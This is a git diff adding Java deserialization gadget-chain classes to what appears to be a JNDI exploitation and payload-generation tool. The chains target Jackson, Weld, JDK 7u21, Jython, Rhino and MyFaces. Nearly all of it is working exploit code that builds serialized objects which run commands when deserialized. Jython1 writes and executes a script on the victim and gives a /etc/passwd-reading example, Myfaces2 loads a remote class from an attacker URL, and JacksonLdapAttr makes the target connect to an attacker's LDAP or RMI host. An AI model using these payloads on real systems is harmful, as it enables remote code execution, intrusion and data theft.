pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + // 将修改后的CtClass加载至当前线程的上下文类加载器中 + ctClass.toClass(); + } catch (Exception EE) { + + } + + + POJONode node = new POJONode(template); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Reflections.setFieldValue(badAttributeValueExpException, "val", node); + + HashMap hashMap = new HashMap(); + hashMap.put(template, badAttributeValueExpException); + + return hashMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JacksonLdapAttr.java b/src/main/java/com/qi4l/jndi/gadgets/JacksonLdapAttr.java new file mode 100644 index 00000000..395331d7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JacksonLdapAttr.java @@ -0,0 +1,58 @@ +package com.qi4l.jndi.gadgets; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.qi4l.jndi.enumtypes.PayloadType; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import javax.management.BadAttributeValueExpException; +import javax.naming.CompositeName; +import javax.naming.directory.BasicAttribute; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; + +public class JacksonLdapAttr implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + + if (command.toLowerCase().startsWith("jndi:")) { + command = command.substring(5); + } + + if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) { + throw new Exception("Command format is: [rmi|ldap]://host:port/obj"); + } + + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + + try { + Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class}); + clazz_cons.setAccessible(true); + BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"exp"}); + Field bcu_fi = clazz.getDeclaredField("baseCtxURL"); + bcu_fi.setAccessible(true); + bcu_fi.set(la, command); + CompositeName cn = new CompositeName(); + cn.add("a"); + cn.add("b"); + Field rdn_fi = clazz.getDeclaredField("rdn"); + rdn_fi.setAccessible(true); + rdn_fi.set(la, cn); + POJONode node = new POJONode(la); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, node); + return val; + }catch (Exception e) { + e.printStackTrace(); + } + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/JavassistWeld1.java b/src/main/java/com/qi4l/jndi/gadgets/JavassistWeld1.java new file mode 100644 index 00000000..a4854761 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/JavassistWeld1.java @@ -0,0 +1,87 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.jboss.weld.interceptor.builder.InterceptionModelBuilder; +import org.jboss.weld.interceptor.builder.MethodReference; +import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory; +import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler; +import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference; +import org.jboss.weld.interceptor.reader.DefaultMethodMetadata; +import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata; +import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata; +import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator; +import org.jboss.weld.interceptor.spi.metadata.InterceptorReference; +import org.jboss.weld.interceptor.spi.metadata.MethodMetadata; +import org.jboss.weld.interceptor.spi.model.InterceptionModel; +import org.jboss.weld.interceptor.spi.model.InterceptionType; + +import java.lang.reflect.Constructor; +import java.util.*; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/* + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", + "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", + "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) +@Authors({Authors.MATTHIASKAISER}) +public class JavassistWeld1 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object tpl; + if (JYsoMode.contains("yso")) { + tpl = GadgetsYso.createTemplatesImpl(param[0]); + } else { + tpl = Gadgets.createTemplatesImpl(type, param); + } + + InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class); + ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class); + InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata); + + Set s = new HashSet(); + s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE); + + Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class); + Reflections.setAccessible(defaultMethodMetadataConstructor); + MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, + MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true)); + + List list = new ArrayList(); + list.add(methodMetadata); + Map> hashMap = new HashMap>(); + + hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list); + SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap); + + builder.interceptAll().with(simpleInterceptorMetadata); + + InterceptionModel model = builder.build(); + + HashMap map = new HashMap(); + map.put("ysoserial", "ysoserial"); + + DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory(); + + InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() { + + public Object createFor(InterceptorReference paramInterceptorReference) { + + return tpl; + } + }; + + return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory); + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21.java b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21.java new file mode 100644 index 00000000..34956d70 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21.java @@ -0,0 +1,109 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.LinkedHashSet; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has + * the same JRE version requirements. + * + * See: https://gist.github.com/frohoff/24af7913611f8406eaf3 + * + * Call tree: + * + * LinkedHashSet.readObject() + * LinkedHashSet.add() + * ... + * TemplatesImpl.hashCode() (X) + * LinkedHashSet.add() + * ... + * Proxy(Templates).hashCode() (X) + * AnnotationInvocationHandler.invoke() (X) + * AnnotationInvocationHandler.hashCodeImpl() (X) + * String.hashCode() (0) + * AnnotationInvocationHandler.memberValueHashCode() (X) + * TemplatesImpl.hashCode() (X) + * Proxy(Templates).equals() + * AnnotationInvocationHandler.invoke() + * AnnotationInvocationHandler.equalsImpl() + * Method.invoke() + * ... + * TemplatesImpl.getOutputProperties() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * ClassLoader.defineClass() + * Class.newInstance() + * ... + * MaliciousClass.() + * ... + * Runtime.exec() + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies() +@Authors({Authors.FROHOFF}) +public class Jdk7u21 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + + // hashCode 为 0 的字符串 + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + // 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor constructor = c.getDeclaredConstructors()[0]; + constructor.setAccessible(true); + InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map); + + // 反射写入 AnnotationInvocationHandler 的 type + Reflections.setFieldValue(tempHandler, "type", Templates.class); + + // 为 Templates 创建动态代理 + Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), + new Class[]{Templates.class}, tempHandler); + + // LinkedHashSet 中放入 TemplatesImpl 以及动态代理类 + LinkedHashSet set = new LinkedHashSet(); // maintain order + set.add(templates); + set.add(proxy); + + // 反射将 _auxClasses 和 _class 修改为 null + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + // 向 map 中替换 tmpl 对象 + map.put(zeroHashCodeStr, templates); + + return set; + } + + public static boolean isApplicableJavaVersion() { + JavaVersion v = JavaVersion.getLocalVersion(); + return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21)); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21variant.java b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21variant.java new file mode 100644 index 00000000..3b473563 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jdk7u21variant.java @@ -0,0 +1,55 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.rmi.MarshalledObject; +import java.util.HashMap; +import java.util.LinkedHashSet; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Authors({"potats0"}) +public class Jdk7u21variant implements ObjectPayload{ + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + String zeroHashCodeStr = "f5a5a608"; + + HashMap map = new HashMap(); + map.put(zeroHashCodeStr, "foo"); + + InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + Reflections.setFieldValue(tempHandler, "type", Templates.class); + Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); + + LinkedHashSet set = new LinkedHashSet(); + set.add(templates); + set.add(proxy); + + Reflections.setFieldValue(templates, "_auxClasses", null); + Reflections.setFieldValue(templates, "_class", null); + + map.put(zeroHashCodeStr, templates); + + MarshalledObject marshalledObject = new MarshalledObject(set); + Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class); + + set = new LinkedHashSet(); // maintain order + set.add(marshalledObject); + set.add(proxy); + map.put(zeroHashCodeStr, marshalledObject); // swap in real object + return set; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Jython1.java b/src/main/java/com/qi4l/jndi/gadgets/Jython1.java new file mode 100644 index 00000000..bff094ca --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Jython1.java @@ -0,0 +1,102 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.io.FileUtils; +import org.python.core.*; + +import java.io.File; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.math.BigInteger; +import java.util.Arrays; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + *

+ * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + *

+ * ; + *

+ * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + *

+ * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + *

+ * In the above example, if "read_etc_passwd.py" simply contained the string: + *

+ * raise Exception(open('/etc/passwd', 'r').read()) + *

+ * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). + */ + +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) +@Dependencies({"org.python:jython-standalone:2.5.2"}) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class Jython1 implements ObjectPayload{ + + public PriorityQueue getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + + String[] paths = command.split(":"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } + + // Set payload parameters + String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8"); + + // Python bytecode to write a file on disk and execute it + String code = + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + //21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE + + // Helping consts and names + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, (InvocationHandler) handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[]{1, 1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino1.java b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino1.java new file mode 100644 index 00000000..00086f88 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino1.java @@ -0,0 +1,80 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.mozilla.javascript.*; + + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/* + by @matthias_kaiser +*/ + +@SuppressWarnings({"unused"}) +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.MATTHIASKAISER}) +public class MozillaRhino1 implements ObjectPayload{ + public Object getObject(PayloadType type, String... param) throws Exception { + Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError"); + Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor(); + Reflections.setAccessible(nativeErrorConstructor); + IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance(); + + Context context = Context.enter(); + + NativeObject scriptableObject = (NativeObject) context.initStandardObjects(); + + Method enterMethod = Context.class.getDeclaredMethod("enter"); + NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name"); + idScriptableObject.setGetterOrSetter("name", 0, method, false); + + Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer"); + NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message"); + idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false); + + Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class); + Reflections.setAccessible(getSlot); + Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1); + Field getter = slot.getClass().getDeclaredField("getter"); + Reflections.setAccessible(getter); + + Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox"); + Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); + Reflections.setAccessible(memberboxClassConstructor); + Object memberboxes = memberboxClassConstructor.newInstance(enterMethod); + getter.set(slot, memberboxes); + + final Object tpl; + if (JYsoMode.contains("yso")) { + tpl = GadgetsYso.createTemplatesImpl(param[0]); + } else { + tpl = Gadgets.createTemplatesImpl(type, param); + } + + NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class); + idScriptableObject.setPrototype(nativeObject); + + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); + Reflections.setAccessible(valField); + valField.set(badAttributeValueExpException, idScriptableObject); + return badAttributeValueExpException; + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino2.java b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino2.java new file mode 100644 index 00000000..793a6318 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/MozillaRhino2.java @@ -0,0 +1,112 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.mozilla.javascript.*; +import org.mozilla.javascript.tools.shell.Environment; + +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.lang.reflect.Method; +import java.util.Hashtable; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject + * + * Chain: + * + * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * ObjectInputStream.readObject() + * ... + * NativeJavaObject.readObject() + * JavaAdapter.readAdapterObject() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * ScriptableObject.get() + * ScriptableObject.getImpl() + * Method.invoke() + * Context.enter() + * JavaAdapter.getAdapterClass() + * JavaAdapter.getObjectFunctionNames() + * ScriptableObject.getProperty() + * NativeJavaArray.get() + * NativeJavaObject.get() + * JavaMembers.get() + * Method.invoke() + * TemplatesImpl.getOutputProperties() + * ... + * + * by @_tint0 + */ +@Dependencies({"rhino:js:1.7R2"}) +@Authors({Authors.TINT0}) +public class MozillaRhino2 implements ObjectPayload{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + ScriptableObject dummyScope = new Environment(); + Map associatedValues = new Hashtable(); + associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); + Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); + + Object initContextMemberBox = Reflections.createWithConstructor( + Class.forName("org.mozilla.javascript.MemberBox"), + (Class) Class.forName("org.mozilla.javascript.MemberBox"), + new Class[]{Method.class}, + new Object[]{Context.class.getMethod("enter")}); + + ScriptableObject initContextScriptableObject = new Environment(); + Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); + Reflections.setAccessible(makeSlot); + Object slot = makeSlot.invoke(initContextScriptableObject, "nu1r", 0, 4); + Reflections.setFieldValue(slot, "getter", initContextMemberBox); + + NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); + + ScriptableObject scriptableObject = new Environment(); + scriptableObject.setParentScope(initContextNativeJavaObject); + makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); + + NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); + Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); + + final Object tpl; + if (JYsoMode.contains("yso")) { + tpl = GadgetsYso.createTemplatesImpl(param[0]); + } else { + tpl = Gadgets.createTemplatesImpl(type, param); + } + + Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl); + nativeJavaArray.setPrototype(scriptableObject); + Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); + + NativeJavaObject nativeJavaObject = new NativeJavaObject(); + Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); + Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); + Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + return nativeJavaObject; + } + + public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { + out.writeObject("java.lang.Object"); + out.writeObject(new String[0]); + out.writeObject(javaObject); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Myfaces1.java b/src/main/java/com/qi4l/jndi/gadgets/Myfaces1.java new file mode 100644 index 00000000..93494b98 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Myfaces1.java @@ -0,0 +1,84 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.myfaces.context.servlet.FacesContextImpl; +import org.apache.myfaces.context.servlet.FacesContextImplBase; +import org.apache.myfaces.el.CompositeELResolver; +import org.apache.myfaces.el.unified.FacesELContext; +import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; + +import javax.el.ELContext; +import javax.el.ExpressionFactory; +import javax.el.ValueExpression; +import javax.servlet.ServletContext; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +/** + * ValueExpressionImpl.getValue(ELContext) + * ValueExpressionMethodExpression.getMethodExpression(ELContext) + * ValueExpressionMethodExpression.getMethodExpression() + * ValueExpressionMethodExpression.hashCode() + * HashMap.hash(Object) + * HashMap.readObject(ObjectInputStream) + *

+ * Arguments: + * - an EL expression to execute + *

+ * Requires: + * - MyFaces + * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) + * + * @author mbechler + */ +@Dependencies +@Authors({Authors.MBECHLER}) +public class Myfaces1 implements ObjectPayload, DynamicDependencies{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + return makeExpressionPayload(param[0]); + } + + public static String[] getDependencies() { + if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ("juel".equals(System.getProperty("el"))) { + return new String[]{ + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } + + public static Object makeExpressionPayload(String expr) throws Exception { + FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); + ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); + ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); + + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); + ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); + ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); + ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); + + return Gadgets.makeMap(e2, e); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Myfaces2.java b/src/main/java/com/qi4l/jndi/gadgets/Myfaces2.java new file mode 100644 index 00000000..fee255c7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Myfaces2.java @@ -0,0 +1,29 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; + +public class Myfaces2 implements ObjectPayload, DynamicDependencies{ + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ + String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"; + + // if we add fewer than the actual classloaders we end up with a null entry + for (int i = 0; i < 100; i++) { + expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}"; + } + expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}"; + + return Myfaces1.makeExpressionPayload(expr); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/ObjectPayload.java b/src/main/java/com/qi4l/jndi/gadgets/ObjectPayload.java new file mode 100644 index 00000000..f46ee845 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/ObjectPayload.java @@ -0,0 +1,99 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.LdapServer; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import org.reflections.Reflections; + +import java.lang.reflect.Modifier; +import java.util.Iterator; +import java.util.Random; +import java.util.Set; + +public interface ObjectPayload { + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(PayloadType type, String... param) throws Exception; + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + public static class Utils { + + // get payload classes by classpath scanning + public static Set> getPayloadClasses() { + final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); + final Set> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); + for (Iterator> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { + Class pc = iterator.next(); + if (pc.isInterface() || Modifier.isAbstract(pc.getModifiers())) { + iterator.remove(); + } + } + return payloadTypes; + } + + + @SuppressWarnings("unchecked") + public static Class getPayloadClass(final String className) { + Class clazz = null; + try { + clazz = (Class) Class.forName(className); + } catch (Exception ignored) { + } + if (clazz == null) { + try { + return clazz = (Class) Class + .forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); + } catch (Exception ignored) { + } + } + if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) { + clazz = null; + } + return clazz; + } + + 